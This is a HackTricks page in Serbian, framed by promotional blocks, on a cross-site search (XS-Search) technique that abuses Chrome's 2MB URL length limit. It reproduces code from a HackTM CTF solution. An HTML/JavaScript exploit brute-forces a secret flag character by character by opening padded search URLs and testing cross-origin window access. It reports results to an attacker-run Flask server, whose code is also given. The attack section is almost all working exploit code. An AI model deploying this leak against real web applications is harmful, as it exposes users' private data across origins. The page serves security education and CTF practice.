hacktricks/pentesting-web/xs-search/url-max-length-client-side.md
2024-02-10 13:11:20 +00:00

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# Maksimalna dužina URL-a - Klijentska strana
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details>
Kod sa [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
```html
<html>
<body></body>
<script>
(async () => {
const curr = "http://secrets.wtl.pw/search?query=HackTM{"
const leak = async (char) => {
fetch("/?try=" + char)
let w = window.open(curr + char + "#" + "A".repeat(2 * 1024 * 1024 - curr.length - 2))
const check = async () => {
try {
w.origin
} catch {
fetch("/?nope=" + char)
return
}
setTimeout(check, 100)
}
check()
}
const CHARSET = "abcdefghijklmnopqrstuvwxyz-_0123456789"
for (let i = 0; i < CHARSET.length; i++) {
leak(CHARSET[i])
await new Promise(resolve => setTimeout(resolve, 50))
}
})()
</script>
</html>
```
Server strana:
```python
from flask import Flask, request
app = Flask(__name__)
CHARSET = "abcdefghijklmnopqrstuvwxyz-_0123456789"
chars = []
@app.route('/', methods=['GET'])
def index():
global chars
nope = request.args.get('nope', '')
if nope:
chars.append(nope)
remaining = [c for c in CHARSET if c not in chars]
print("Remaining: {}".format(remaining))
return "OK"
@app.route('/exploit.html', methods=['GET'])
def exploit():
return open('exploit.html', 'r').read()
if __name__ == '__main__':
app.run(host='0.0.0.0', port=1337)
```
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Da li radite u **cybersecurity kompaniji**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details>